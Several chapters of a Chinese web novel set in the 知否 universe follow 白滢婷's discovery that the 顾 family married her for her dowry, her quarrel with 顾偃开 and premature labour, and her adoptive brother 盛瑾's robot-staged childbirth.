白滢婷听着常嬷嬷的话,脸上浮现出淡淡的微笑,道:“我又不是为了煜哥儿的感激,才对他这么好的,既然我成了他的继母,那么我们就有母子缘分,我定是会好好照顾他的,再说了,我嫂嫂哥哥他们也是这么做的,这些天送的东西里面凡是烨哥儿有的,必会为煜哥儿也准备一份。” 常嬷嬷直言道:“那都是我们姑娘和国公夫人、国公爷人好,要是换了其他人家,这碗水可端不平啊!况且我瞧着国公爷和国公夫人更喜欢我们烨哥儿,姑娘生下烨哥儿才两天,国公爷和国公夫人就赶来顾府看你和烨哥儿,尤其是国公爷,那是抱着烨哥儿就不撒手的,连坐着都要抱着我们烨哥儿。” 白滢婷回忆起那天的场面,盛瑾和挺着个大肚子的慕卿云来到顾家,盛瑾瞧着顾廷烨就十分稀罕,一直抱着不肯撒手。 盛瑾掂了掂怀中的顾廷烨,眼神中闪过一丝宠溺,道:“我们烨哥儿长的真壮啊!来,给舅舅笑一个,笑一个,舅舅就让舅母给你个好东西。” 一旁的慕卿云见状,挺着个大肚子,拍了拍盛瑾后,笑着对盛瑾怀中的顾廷烨道:“我们烨哥儿别听你舅舅胡说,来舅母将小玉锁给你带上。”说着,便将之前就准备好的玉锁给顾廷烨带上,这个玉锁和之前给顾廷煜的玉锁材质都一样,只是做工不同罢了,就算是在场的顾家人也说不出什么。 盛瑾怀中的顾廷烨也不怕生,等慕卿云给他带上玉锁后笑个不停,喜得盛瑾直言道:“我就知道我们烨哥儿懂事啊!” 慕卿云看着盛瑾这样,也逗起了他怀中的顾廷烨,这样的场景属实是惊呆了一旁的顾侯夫妇,他们没有想到盛瑾和慕卿云会这么喜欢白滢婷生的孩子,尤其是盛瑾,他可是一直抱着顾廷烨没撒过手。 其实盛瑾是喜欢孩子,但也是要看对象的,这是白滢婷的儿子,他的侄子,他当然疼爱啊!如果是换了别人的孩子,他再怎么喜欢孩子,也不可能像这样对待,再者,古人比较含蓄,像盛瑾这样直白的表示喜爱的人在这个时代属实是少见。 顾侯夫妇无论心里如何震惊,面上还是没有任何变化,毕竟慕卿云和盛瑾越喜欢顾廷烨,也就意味着顾盛两家的联姻越牢固。 等慕卿云和盛瑾要走时,还特意跟顾侯夫妇提出了见一眼顾廷煜,他们瞧着顾廷煜不仅是一顿夸赞,还给了他一千两的红包。 盛瑾和慕卿云对顾廷煜的态度在顾侯夫妇看来至少明面上算是一碗水端平了,至于私底下他们如何对待顾廷煜和顾廷烨,顾侯夫妇也不会过多在意,毕竟顾廷煜到底不是白滢婷的孩子,不能强求慕卿云和盛瑾用对待顾廷烨的情感去对待顾廷煜,简直是强人所难啊! 慕卿云想到这里,脑海中浮现出那日慕卿云和盛瑾的模样,脸上的笑容更真实了,道:“哥哥也真是的,嫂嫂再过一两个月也快生了,还带着嫂嫂来顾府看我,也不知道嫂嫂生的是个哥儿,还是姑娘,若是个姑娘,我也要给她好好攒一份嫁妆,像哥哥嫂嫂给我准备的那样。” 常嬷嬷看着白滢婷的眼神中充满了笑意,道:“姑娘倒是和国公爷一样了,我还记得国公夫人怀孕时,国公爷可是连着好几个月跑到珠翠楼去,硬是要求人家珠翠楼将大人的首饰改成了小孩子能用的尺寸,国公爷还提出了一堆奇怪的要求,要不是国公爷将珠翠楼这几个月的上等首饰都包了,恐怕珠翠楼的掌柜早就找人将国公爷送出珠翠楼了,如今珠翠楼的掌柜对国公爷是又爱又恨啊!” 白滢婷一听到这件事情,就乐呵呵道:“可不是嘛,哥哥这么一搞,满汴州城都以为嫂嫂肚里是个姑娘。” 白滢婷说到这里,眼神中流露出一丝羡慕,继续道:“为此,汴州城有些人家便请媒婆到丰国公府,要给哥哥说贵妾或是良妾,气得哥哥直接将人轰出门后,扬言这辈子只娶嫂嫂一人,就算他这辈子只有一个女儿也认了,哥哥待嫂嫂是真好啊!” 常嬷嬷见白滢婷有些羡慕盛瑾对慕卿云的感情,急忙道:“顾家大公子也是个好的啊!满汴州城像他这样只有邱小娘一个妾侍的人也是少有的。” 白滢婷看着常嬷嬷脸上的关心,语气中带着一丝笑意,道:“奶娘不必这样担心我,从我嫁进宁远侯府时,便没想要官人身边只有我一个人,毕竟他到底是未来的侯爷,有几个妾侍也是正常的,我只是在感慨像哥哥和爹爹那样只守着一个女子的世间少有啊!” 白滢婷想到了慕卿云,叹了口气道:“嫂嫂的日子也不好过,这还没生呢,就被汴州城那些个人家盯着自己的官人,她心里肯定也不好受,哥哥虽然放话了,但也是挡不住这些人家的心思的,若是嫂嫂生个姑娘或是身子骨弱的哥儿,那些个人家还是会让媒婆上门给哥哥介绍妾侍的,我虽说想要一个外甥女,但我还是希望嫂嫂能生一个健康的外甥,这样也可以断了汴州城一些人家的想法。” 常嬷嬷听着白滢婷的话没有反驳,毕竟盛瑾才二十岁,又是国公爷又是从三品工部侍郎,人还长得极为俊美,对自己娘子极为体贴,这放眼整个汴州城都是顶尖夫婿人选,要不是已经有正妻了,怕是汴州城那些高门显赫人家都得为抢盛瑾这个夫婿打起来。 过了一会儿,白滢婷又想起了邱小娘,对着常嬷嬷叮嘱道:“奶娘,邱小娘那边你也看着点,到底是为顾家开枝散叶的,官人虽然不在意邱小娘腹中的孩子,但公公婆婆可是在意的,毕竟官人子嗣比起顾家其他几房来说算得上稀少了。” 常嬷嬷看着白滢婷脸上有些疲惫,安抚道:“姑娘放心吧,无论是煜哥儿那的女使小厮,还是邱小娘那的女使小厮,我都会好好敲打的,绝不会让他们做出伤害煜哥儿和邱小娘的事情,姑娘也快休息吧。” 白滢婷听到常嬷嬷这么说,也随着她的话去休息了,她相信常嬷嬷会办好她安排的事情,毕竟常嬷嬷跟随她从小到大,对于常嬷嬷的能力还是信任的。 两个月后,丰国公府传来慕卿云生产的消息,慕卿云的院内全是机器人,她正在产房内模拟生产情境,另一个机器人变成了盛瑾的模样去工部上班,而盛瑾则在空间内看着那颗生子蛋。 盛瑾紧张的盯着生子蛋,没过多久,光滑的蛋面出现一条裂缝,他在那条蛋面上的裂痕出现后,嘴里喃喃道:“宝宝加油,宝宝加油,爸爸在这里。” 突然,整个蛋裂开来,只见中间躺着一个婴儿,红彤彤的,闭着眼睛的,两只小手握着,哇哇大哭。 盛瑾一下子愣在原地,过了一会儿,他才反应过来,赶忙过去将婴儿抱着,小心翼翼的摇着,哄着“宝宝不哭,不哭。” 盛瑾一边抱着孩子哄,一边想着:“宝宝,以后爸爸会保护好你,陪你一起成长,让你一生都过的开开心心的。” 旁边的机器人见状,提醒盛瑾要将孩子抱出去了,于是他十分不舍的将孩子递给机器人,让机器人抱出去了,随着机器人将孩子抱出空间,产房内响起了一声婴儿的啼哭声,随后另一个下人惊恐的大喊道:“大娘子大出血了。” 管家在院外听到这个消息赶忙派人去找盛瑾,等在工部的假盛瑾赶回府中时,慕卿云的产后大出血也止住了,只是整个人宛如马上要断气般的虚弱。 假盛瑾进了产房后,盛瑾和他换回了身份,拉着慕卿云的手,大哭的喊道:“娘子啊!没事了,没事了,我回来了,你好好休息。”那表情,那声音,让人感伤,真是闻者悲伤啊!活脱脱一个影帝上身啊! 管家随后进了时看到这个场景,心里有些庆幸道:“还好大娘子熬过去了,要不然看主君这个样子,大娘子若是有个万一,怕主君也会随着大娘子一起走吧。”因为慕卿云整个生产的过程参与进来的都是机器人,所以在外面的下人不知道这是假的。 等慕卿云生下孩子没到一个月,满汴州城都知道慕卿云生孩子时大出血,人虽然救回来了,但身体变得异常虚弱,索性生了个儿子,丰国公府也算是有继承人了,有不少人家猜测慕卿云恐怕也活不了几年了,毕竟有不少工部官员看到盛瑾在慕卿云生产后来工部上班时那脸色简直悲伤到了极致,最后工部尚书看不过去了才向皇帝请示,让盛瑾回家待一个月修养身子。 皇帝看着工部尚书给盛瑾请假的折子,将盛瑾召见过来,看着盛瑾那脸色,赶忙批了给盛瑾请假的折子,生怕盛瑾就这样英年早逝了,满汴州城再次了解到了盛瑾有多么爱慕卿云了,毕竟盛瑾那脸色就像是慕卿云人若是没了,他下一秒也会随着慕卿云去了。 白滢婷在得知这件事情的当天,就让顾府的下人套了马车往丰国公府赶,直到看见卧床不起的慕卿云和面色难看的盛瑾,她当即泪流满面的抱着慕卿云,一时无法言喻,只能一个劲的叫道:“嫂嫂你受苦了,嫂嫂……” 慕卿云等白滢婷平静后,脸上浮现出淡淡的笑容道:“瞧你哭成这样,你看嫂嫂这不是没事嘛,你有没有看过你外甥啊!官人你去把轩哥儿抱来给妹妹瞧瞧,对了,我和官人给孩子取名叫盛长轩。” 盛瑾闻言,便走到摇篮边将盛长轩抱起来,走到慕卿云身边,将孩子放在慕卿云身旁,道:“娘子,你和妹妹好好聊聊,我就不打扰你们聊天了。” 慕卿云见状,眼神中闪过一丝笑意,轻声细语道:“官人你去忙你的吧,放心吧,这里有妹妹,我没事的。” 盛瑾闻言,脸上的表情丝毫没有变化,但眼神中流露出关心,过了一会儿才离开慕卿云的房间。 等盛瑾离开后,慕卿云看向床上的孩子,眼神中流露出一丝疼爱,对着白滢婷轻声道:“长得像官人吧,我很庆幸这个孩子的身体是健康的,没有随我的身子骨这般弱不禁风。” 白滢婷随着慕卿云的声音看向她身边的孩子,小孩子如今已经长开了,一张肥嘟嘟的小脸蛋上,两只小眼睛眯得紧紧的,看上去好像两条细细的线,小嘴巴一会儿吐泡泡,一会儿吮吸着自己的小手指,可爱极了。 白滢婷见孩子如同慕卿云说的一样健康,便将目光转回到了慕卿云身上,现下比起孩子她更关心慕卿云的身子,她眼眶有些通红,哽咽道:“像哥哥,也像嫂嫂,嫂嫂你放宽心休养,早晚身体会好起来的。” 慕卿云听着白滢婷的话没有说什么,抓着白滢婷的手,嘱咐道:“我的事情不要告诉义父,这是我和你哥哥的决定,义父年纪大了,受不了这些事情,再者,我也没事了,没必要再让义父担惊受怕一回了。” 白滢婷回握着慕卿云的手,抽泣道:“嫂嫂,我知道的,我不会和爹爹说的,你放心,不过我想在府里住几天,行吗?” 慕卿云看着白滢婷一脸伤心的模样,道:“当然可以,这里是你的家,你想住多久住多久,需要嫂嫂和顾侯夫人说一声嘛,还有烨哥儿那里需要派人去照顾嘛。” 白滢婷努力让自己的声音听起来不那么悲伤,道:“哪用得着嫂嫂去和我婆婆说啊!等一下我派人回去和婆婆说一声就行了,至于烨哥儿那里还有常嬷嬷呢,嫂嫂你就放心吧。” 白滢婷就这样在丰国公府待了五天后,被盛瑾和慕卿云劝了回去,她一回到顾府,顾侯夫人便赶了过来,看着白滢婷憔悴的样子,道:“瞧你这些天累的,盛国公夫人身子还好吗?孩子怎么样呢?” 白滢婷听着顾侯夫人的话,眼眶又有些发红,道:“我那外甥身子健健康康的,倒是嫂嫂的身子没有丝毫好转,这些天还是十分虚弱,郎中说只能细细养着。” 顾侯夫人闻言,心里暗道:“瞧郎中这话,恐怕这盛国公夫人的身子怕是不好了,瞧着和我前头那媳妇秦大娘子生产后一样,索性盛国公夫人生的孩子倒不像煜哥儿那身子骨一般,要不然,盛国公八成要绝后了。”毕竟顾侯夫人算是瞧出来盛瑾此生就只要慕卿云一个妻子,又不肯纳妾,这慕卿云要是生个病怏怏的孩子,盛瑾可不就是绝后了嘛。 顾侯夫人看着白滢婷眼眶微红,怕白滢婷悲伤过度晕倒,便开口安慰道:“你放心吧,为着这个孩子,盛国公夫人也会撑下去的,现下你要照顾好在自己,要是你因为悲伤过度出了什么事情,最后难过的还不是盛国公夫人嘛,如今盛国公夫人的身子最是不能 第 20 章 《知否盛老太太的双生子》全本免费阅读 汴州城王家,王大人在书房中看着书时,王夫人端着一些糕点走进来,他放下手中的书,淡淡道:“弗儿,还闹着呢?” 王夫人看着王大人的眼神中闪过一丝疲惫,脸上浮现出淡淡的笑容,道:“闹倒是不闹了,但还是嫌弃盛家门户低,没有康家好,说我们偏心,让与儿选康家,她却嫁给了盛家。” 王大人听到“康家”二字时,眉头皱了一下,道:“自古长幼有序,与儿是姐姐自然是要她先选,再者,康家那边透露出来的意思是想娶与儿这个嫡长女,她再怎么闹也改变不了这桩婚事的。” 王若与是王大人和王夫人的嫡长女,唯一一个自幼在他们身边长大的孩子,再加上她长得漂亮又会讨他们喜欢,比起其他两个孩子更得他们疼爱些,尤其是王夫人,王若与是两个女儿中最像她的,因此她对王若与十分疼爱,而且在外人眼中王若与这个嫡长女比王若弗这个嫡次女更为出色。 王夫人对于王大人的话没有发表什么意见,轻声道:“弗儿就是那个性子,闹一闹就没事了,要我说还是盛家最适合弗儿,她为人大大咧咧的,没什么心眼子,盛家人口简单,她婚后的日子也轻松些,再者,盛纮也是一表人才,未来我们再帮衬着点,前途不会太差的,不过,我总觉得盛家的盛纮有些眼熟。” 王大人听着王夫人的话,想起了今天早晨遇见的盛瑾,脑中将盛纮和盛瑾的样貌对比后,语气缓慢道:“是有些像啊!” 王夫人听到王大人这么说,便知道他是想起了谁和盛纮长得像了,于是她询问道:“官人,你想到谁了吗?” 王大人看着王夫人脸上浮现着好奇的表情,嘴角微微弯起道:“丰国公府盛国公,他和盛纮有五分相似。” 王夫人闻言,宛若想起什么般,瞪大双眼,语气似是开玩笑道:“你还别说真有几分相似呢?他们还都姓盛,会不会是一家呢?” 王大人听着王夫人的话,眼神中闪过一丝笑意,道:“他们还真不是一家,盛国公全族就他一人,而且若是单单以长相来判断血缘关系的话,那盛国公和盛国公夫人不也有几分相似的嘛,难不成盛国公和盛国公夫人还能是一家嘛,再者,若他们真是一家人,你觉得盛家还会选我们弗儿吗?” 王夫人瞪了眼王大人,用似是生气的语气,道:“官人,哪有你这么说弗儿的,我们弗儿管家理事也是一把好手的。” 王夫人看着似笑非笑的王大人,转移话题,道:“说起来,这丰国公府除了上次与顾家结亲时大办婚宴外,也就是盛国公嫡长子周岁时办过一次宴席了,平日里无论是盛国公爷还是盛国公夫人都不参加其他人家的宴会,要不是官人提醒,我还真想不起来他们和盛纮相像的事情呢。” 王大人叹了口气,道:“盛国公是个情种啊!盛国公夫人生产时伤了身子,现如今她身体是大不如前了,而盛国公现下除了工部就是回丰国公府,哪里有什么心情参加宴会啊!” 王夫人眼里闪过一丝惋惜,语气轻柔,道:“本来许多人还羡慕盛国公年纪轻轻的就成了从三品工部侍郎,谁成想盛国公夫人会出这种事情呢。”毕竟王大人到了如今这个岁数才是正二品,而盛瑾年纪轻轻的已经是从三品了。 王夫人说完看着王大人也不愿意多聊盛瑾和慕卿云的事情,便接着聊起了王若弗和王若与的婚事,而王家两个女儿也很快的相继出嫁了。 等王若弗嫁给盛纮没多久,盛纮的调任也下来了,徐大娘子(盛老太太)也随着一家子去了盛纮任职的地方。 时间很快过去一年多了,白滢婷又怀孕了,挺着个大肚子往顾廷煜那边走,突然,听到有人在顾廷煜说话,好像是在说她和秦大娘子,便停下来静静的听着,她身边的常嬷嬷也跟着她停下来听。 等白滢婷听完对方和顾廷煜说的所有话后,脸上一片惨白,突然间她好像明白了顾偃开为什么对她那么冷淡了。 常嬷嬷瞧出了白滢婷的异样,当即扶着白滢婷,毕竟白滢婷如今身怀六甲,她一个激动很有可能伤到她自己和肚里的孩子,但她又想出去找那人理论,可是白滢婷正死死地抓着她的手。 等顾廷煜和那个人走后,白滢婷脸上浮现出委屈、愤怒、了然等复杂的表情,过了一会儿,她语气中透露出一丝怒气,道:“去,去找顾偃开,带我去找他。” 常嬷嬷看着白滢婷这样,急忙安抚道:“姑娘,你如今肚子里还有一个孩子呢,你不能生气啊!我们先顾着孩子要紧啊!” 白滢婷此时已经听不进去常嬷嬷的话了,她一个劲的说道:“奶娘,带我去找顾偃开,要不然,我就自己去找他。” 常嬷嬷没有办法,只能带着白滢婷来练武场找顾偃开,因为白滢婷走的很快,没一会儿就到了练武场,她冲到顾偃开面前,抓着他的长枪,道:“你娶我是为了用我的嫁妆来填补朝廷亏空,而不是我以为的你们顾府没有银钱用了,对吗?” 白滢婷瞧着顾偃开没有理会她,而是一个劲的看着他的长枪,随即接着道:“你不想说这个,那秦大娘子是怎么去世的,这个总可以告诉我了吧。” 顾偃开听完白滢婷的话,眼神中闪过一丝错愕,目光放在长枪上,含糊其辞道:“不是早和你说了吗?她是病死的。” 白滢婷见顾偃开这样,松开长枪,语气急促的追问道:“那她是在你们向我家提亲前病死的,还是提亲后呢?” 白滢婷看见顾偃开沉默不语的将长枪收起来,自顾自的整理武器,她便猜出个大概来了,心里的委屈再也压不住了,语气中带着愤怒和委屈,道:“你不说,好,那我来说,你们这些个勋爵人家向朝廷借了一笔又一笔的银钱始终不还,陛下追问起来,勒令你们填补亏欠朝廷的账目,为此还下狱了两户勋爵,你们没办法偿还朝廷的账目,就在这时,你们不知从哪得知我爹爹要嫁女的消息,想着我爹爹是扬州城有名的盐商,我又是爹爹的唯一的孩子,便想着通过娶我得到巨额嫁妆来填补朝廷账目,我爹爹对这个侯府大娘子的位置动了心,于是和你们达成交易,用巨额嫁妆换取我嫁入你们家,本来你们嫌我身份低微,想着在老家举办婚宴以此来遮掩你们侯府娶了个盐商之女当大娘子的事情,谁曾想你们嫌弃的盐商之女居然有个疼爱她的国公义兄,我哥哥提出改为汴州城举行婚姻,你们为了我的嫁妆和哥哥的身份就同意了。” 白滢婷说到这里,觉得肚子有些微痛,便平复了一下心情,接着道:“顾侯夫妇瞧着我哥哥为了我,将四房的煊哥儿送进了锦江书院,我嫂嫂为了我,放下身段恭维你母亲顾侯夫人,你们也了解到了我哥哥嫂嫂有多疼爱我,为着我哥哥的能力人脉,所以才会对我如此和善,我爹爹哥哥嫂嫂应该都知道你们顾家是缺了银子才娶的我,所以她们才会给足嫁妆银子,但是他们绝对不知道你们顾家为了银子休妻另娶的事情,要不然,我爹爹不可能不会和我哥哥说,若是我哥哥知道你们是打算休妻另娶,他绝对不会让我嫁到顾家来的。” 白滢婷看着顾偃开的眼神中充满了悲伤,道:“你自己拗不过父母,导致秦大娘子在休妻的恐惧中病逝,现下顾家的危机解除了,你就瞧着我们母子是祸害了,觉得我是害死秦大娘子的凶手,觉得烨儿的出现是你对秦大娘子感情的污点,怪不得啊!怪不得,你从烨儿出生后,对我越来越冷淡了,我原以为你是武将出身不大疼人,又想着秦大娘子温柔贤淑,我恐怕比不上,现在看来不仅是你,可能你们顾家上下所有人都暗地里将我看成害死秦大娘子的元凶了。” 顾偃开听到这里,皱着眉头,语气有些僵硬的反驳,道:“你不要这样疑神疑鬼,整日胡思乱想的,没有的事情。” 白滢婷听到顾偃开的话,语气中有些激动道:“我疑神疑鬼,你我成婚都快到三年了,我们只要待在一起,你不是垂头丧气就是愁眉不展,煜儿和烨儿同样是你的亲生孩子,可是烨儿你抱了几回,你知道他长了几颗牙,如今多高了吗?” 顾偃开看着白滢婷激动的样子,底气有些不足,道:“这十个手指还有长短呢?煜儿没了母亲又体弱多病,我偏疼他些有什么不对吗?” 白滢婷听着顾偃开的回答,只觉得敷衍,便气愤道:“煜儿没了生母,还有我这个继母,我又何尝是哪起了黑心肠的恶婆娘,就算煜儿到我跟前来也说不出我个什么不好来,还有我哥哥嫂嫂每每送东西来,那次烨儿有的,煜儿没有了,你们全家到是好样,面上说着我和哥哥嫂嫂怎么怎么好,结果一转头,就屋里屋外一筐又一筐地向煜儿的耳朵里塞糟践我的话,要不是今天我撞见煜儿院里头的女使公然对他说,别忘了我与他有杀母之仇,我还被你们的瞒着呢,我原先以为你三天两头叫秦家人来是为了煜儿好,现在看来还真为了煜儿而好啊!让这些个人背地里告诉煜儿,不要和我这个杀母仇人太过亲近,以免丢了性命。” 顾偃开一听到白滢婷说到秦家人,便恼羞成怒道:“你住口,你说的都是什么话,什么杀母仇人,秦家与我们是通家之好,断不会在煜儿面前胡说八道的,你不要血口喷人。” 白滢婷听着顾偃开的话,心里犹如刀割一般,语气中透露出苦涩,道:“你去问问煜儿,去问问他,你们全家上下到底都和他说了些什么,就知道我是不是血口喷人了。” 顾偃开看着眼前的白滢婷,不知如何安抚,只能开口道:“你简直是无稽之谈,煜儿那么小,他能知道什么呢?你别胡闹了,你现在怀着八个月的身孕呢,你自己胡闹也要考虑一下时候,别带着肚子里的孩子胡闹啊!” 白滢婷被顾偃开气的直发抖,语气中都透着怒气,道:“我胡闹,顾偃开,你是没见过胡闹的人,你不是觉得娶我很对不起秦大娘子嘛,你现下写一封和离书来,让我带着烨儿走,那些个嫁妆就算断送在你们家了,我一个铜钿都不会要的。” 白滢婷擦拭了一下眼角的泪水,道:“我要带着烨儿干干净净、清清白白的从你们顾家离开,你也不用担心我哥哥嫂嫂那边,我会和他们好好说的,你不用担心我们的事情会殃及到四房的煊哥儿,我哥哥不会因为大人的事情就报复孩子,至于我爹爹,我哥哥嫂嫂会说服他的,你不用担心他们会和你们顾家有过多纠缠。” 白滢婷说完便径直往外走,常嬷嬷赶忙拦住白滢婷,道:“大娘子,你这是气糊涂了吧,顾侯夫妇乃至顾家其他人对你还是好的,没道理一竿子打死所有人,再说了这些都是陈年旧事了,我们先在顾府把孩子生下来再从长计议吧,好嘛,你还怀着孩子呢,不能太过激动容易伤到腹中的孩子啊!” 顾偃开立马反应过来,抓着白滢婷的手臂,又碍着她怀有身孕,不敢拉扯她,只能和常嬷嬷一样抓着她的手挡在前面,焦急道:“够了你,你闹也闹了,你现在还怀着身孕呢,哪儿都不能去,你先好好的把孩子生下来,我们再说这些事情,别在听那些个小人嗦摆了。” 白滢婷不顾常嬷嬷和顾偃开的阻拦,一直往前走,突然,她的肚子有阵痛传来,轻声道:“疼,肚子疼,哥哥嫂嫂,我肚子好疼啊!顾家这群人将我骗得好惨啊!” 顾偃开看到白滢婷这样子,不知道怎么办才好,看向常嬷嬷,道:“她,她这是怎么了,怎么她的肚子一下就疼了。” 常嬷嬷到底是知道一些孕妇生产事情的,看到白滢婷这样,那还能不知道,她动了胎气,如今怕是要生了,于是她急忙道:“大娘子这是怕要生了。” 顾偃开瞪大双眼看着白滢婷,随即对着院子外面,大喊道:“来人,快来人,大娘子要生了,快去找郎中和稳婆。” 常嬷嬷站在白滢婷的产房外,想起今天在顾廷煜院子的事情,她越想越觉得顾廷煜这件事情有古怪,看着产房内惨叫连连的白滢婷,赶忙拉着当初白滢婷陪嫁丫鬟中的一个,吩咐她立刻去丰国公府找盛瑾或是慕卿云,就说白滢婷和顾偃开发生争执,导致动了胎气,难产了,让他们带郎中来宁远侯府,丫鬟听完急忙往丰国公府赶,此时顾府正因为白滢婷难产而混乱不堪,没人注意白滢婷的一个陪嫁丫鬟不见的事情。 另一边丰国公府中,盛瑾今天刚好在家休息,他抱着盛长轩在慕卿云和他的院子中,一边逗盛长轩玩,一边教盛长轩读一些文字,算是娱乐教学的一种方式,而慕卿云则在屋内的床上休息。 盛瑾打算循序渐进的教导盛长轩知识,他认为自己的孩子可以一直接受自己的保护,但是他的孩子不能没有保护自己的能力,没有能力和不愿意是两个概念,他的孩子可以不愿意,但是绝对不能没有能力。 过了一会儿,院子内突然闯进一个小厮,他神态慌张的对着盛瑾道:“国公爷,姑娘身边的女使焦急跑来府中,好像是姑娘在宁远侯府出了什么事情。” 盛瑾闻言,将怀中的盛长轩放下,而屋内的慕卿云也出来了,盛瑾看向慕卿云后,她说道:“我和官人一起去看看发生了什么事情吧。”于是盛瑾就将盛长轩交给了慕卿云身边的一个丫鬟,也就是一个B型保镖机器人。 等盛瑾和慕卿云赶到大厅时,只见那个丫鬟冲过来,对着盛瑾和慕卿云,满脸焦急道:“国公爷,国公夫人,快找郎中去顾府救救大娘子吧,大娘子不知道和世子发生了什么冲突,直接动了胎气,如今正在生产,好像要难产了。” 盛瑾和慕卿云对视一眼后,他心头一紧,对着慕卿云道:“我先带着府里的郎中去顾府,你若是要来便做马车。” 慕卿云看着盛瑾,眼中闪过一丝担忧,道:“官人你先去,我安排好人手后,便起身前往顾府。” 盛瑾听完慕卿云的话,便赶紧叫来了医护型机器人,自从盛长轩出生后,盛瑾便向雷诺买了一组医护型机器人,专门在府里照顾盛长轩。 等医护型机器人来了后,盛瑾便拉着他,两人直接骑着马向顾府冲去,慕卿云则是吩咐管家准备好马车,然后用牛油皮封好马车内壁。 等管家将马车准备好后,慕卿云让盛俊带着十几个机器人跟她一同前往宁远侯府,那架势一看就是要和顾府起争执了。 管家看这场景,已经知道他下一步要干什么了,他神情严肃,语气冰冷,吩咐身旁一个小厮,道:“你去找几个女使收拾收拾姑娘的院子,将我们家公子的摇篮也搬到姑娘院子中去。”那位小厮听完也没多言,直接按照管家的吩咐去办事情了。 这边盛瑾已经带着医护型机器人赶到了顾府,无视顾府下人 第 21 章 《知否盛老太太的双生子》全本免费阅读 清晨,白滢婷睁开眼睛发现自己已经身处丰国公府了,守在她身旁的慕卿云见她醒来,急忙问道:“妹妹,身子怎么样呢?有没有不舒服的地方?” 白滢婷将目光转移到关心她的慕卿云身上,看着慕卿云脸上担忧的表情,一下子抱住慕卿云,在她怀里默默流泪,道:“嫂嫂,我好委屈,好委屈啊!” 慕卿云见状,一脸心疼的回抱着白滢婷,道:“嫂嫂知道,嫂嫂都知道,没事了,没事了,你现在才刚生产没多久,身子骨弱着呢,哪能如此伤心呢?” 白滢婷听着慕卿云的话,努力将眼泪憋回去,向慕卿云倾述道:“我自认为我这个当继母的对煜儿算得上极好了,他身子骨柔弱,我就拿自己的嫁妆银子给他延请有名的郎中在府中专门照看,需要什么药材,我就掏银子买最好的,甚至还将哥哥嫂嫂给我陪嫁的药材拿出来给煜儿用,我将煜儿当成自己的亲生孩子一般照顾,到头来在他顾偃开心里我成了不安好心了,我原以为他允许秦家人三天两头的上门是为了让煜儿维持和外家关系,毕竟有一个关系极好的高门显贵外家,对煜儿的未来也有几分助力,所以秦家人每次上门我都好生招待着,结果他让秦家人上门是为了防着我,怕我伤害煜儿。” 白滢婷说到这里,觉得自己的眼泪又要流下来了,平复一下自己的心情,继续道:“我自从嫁入顾家以来,孝敬公婆,每日晨婚定省都没落下过,将他的弟弟妹妹看做自己的弟弟妹妹一般照料,府中账目上无银钱,我自己掏银子给他弟弟们用,逢年过节给他侄子侄女外甥外甥女和东昌伯爵府的东西也是比旁人要厚上几分,我这样掏心掏肺的付出,为的只不过是他心里能有几分我的地位,哪怕就只有一点点也好,就这一点点,我都能骗自己说他心里还是有我的。” 白滢婷说到这里时,哽咽道:“我自知自己再贤惠,也不比得他心里的秦大娘子,活人争不过死人这个道理我也明白,我要的也不多,就是他能好好和我过日子就成,不要每日与我待在一起就愁眉苦脸的,我原本还想不通他为什么这么对我,直到我听见那个女使的话才知道他将我当做害死秦大娘子的凶手了,怪不得他从烨儿出生后就和我的关系越来越差,感情是将烨儿看成了他对秦大娘子的背叛啊!” 慕卿云眼中流露出来的心疼止都止不住,轻声细语,道:“嫂嫂知道你做的很好,你在这件事情上没有任何错误,是我们的错,我们给你选错了人家。” 白滢婷听到慕卿云这么说,眼泪再也止不住了,她哭哮道:“不,不怪哥哥嫂嫂,要怪就怪他顾偃开,他凭什么将秦大娘子的死怪罪到我头上,若真要说是谁逼死了秦大娘子,那只能是他们顾家人,如果不是他们在秦大娘子还在的时候,不小心让她知道了顾家人想要用顾偃开的大娘子之位换取家族安全度过危机,那么她也不会因为担惊受怕,而一命呜呼,我们家根本不知道这回事情,是他们先骗得婚,为什么到头来都成了我的错了吗?是我们家逼着他顾偃开娶得我吗?为什么让我来承受他的怨气啊!嫂嫂你告诉我为什么啊!我只想和自己的官人一起和和美美过完一生罢了。” 慕卿云擦拭着白滢婷脸上的泪水,语气柔和,道:“婷儿,你没有错,你一点错都没有,我们好好的养好身体,这件事情交给哥哥嫂嫂来解决,这些天你好好想想,若是你不想和顾偃开过下去了,嫂嫂和你哥哥就想办法,让顾偃开和你和离,至于烨儿和这个刚出生的孩子,我们也会想办法让你带走的。” 白滢婷听着慕卿云的话,躺回慕卿云怀中没有说话,她不知道要不要与顾偃开和离,虽然慕卿云和盛瑾会想办法让她带走两个孩子,但是顾侯夫妇恐怕不会同意的,毕竟顾廷煜身子弱,她生的这两个孩子是顾偃开身体健康的嫡子,若真让她带走这两个孩子,顾偃开就只剩一个弱不禁风的儿子了,再者,堂堂一个侯府为了面子也不会让她带走侯府嫡子的。 白滢婷不是不知道白老爷为什么将她嫁给顾偃开,为的不过是她能有一个侯府大娘子的体面身份以及她的孩子有个尊贵的身份,可是她从来没想过顾偃开会将她当成害死大秦氏的元凶,若是她早知道这样,绝不会抱着夫妻和美的幻想嫁给顾偃开,不,她是根本就不会嫁给顾偃开,她想到这几年的付出恐怕在顾偃开眼里就是个笑话吧。 过了一会儿,慕卿云将沉默不语的白滢婷从怀中拉了出来,看着她面色苍白的小脸,道:“现在先别想这些了,我让人做了粥,先吃点粥,都一晚上没吃东西了,饿着身子可不好,其他的事情不急,你可以慢慢想。”说着,便让丫鬟端来一碗粥,亲自喂白滢婷。 白滢婷看着眼前端着粥喂她的慕卿云,没说什么,只是张口配合慕卿云,一口一口吃着慕卿云喂给她的粥,屋内一片寂静。 等盛瑾从工部回来,来到白滢婷的房内,一进门就见到白滢婷在床上眼含泪水,但还是扯着笑脸,道:“哥哥,你来了,我没事,你不用担心我。” 盛瑾快步上前,将白滢婷抱入怀中,拍着她的背,轻声细语,道:“没事的,有哥哥嫂嫂在呢。” 盛瑾看着眼前强颜欢笑的白滢婷,心疼万分,他当成女儿一样疼爱到大的妹妹受顾偃开这般欺辱,说到底他和白老爷都有错,当时他就应该将顾家里里外外查个清楚,白老爷被顾家的爵位迷了眼,他则是太过于自信了,若是当初知道顾偃开是这么个人,说什么他也要阻止白老爷答应这门婚事。 白滢婷被盛瑾抱着,又忍不住的哭起来,等她哭累了,便在床上睡着了,盛瑾悄悄地离开了白滢婷的房间,回到了自己的房间,与慕卿云商量起来接下来的事情以及写封信给白老爷,告知白滢婷的事情。 第二天,盛瑾便将信件快马加鞭送去扬州城白家,而顾偃开则是一大早来到了丰国公府拜见慕卿云。 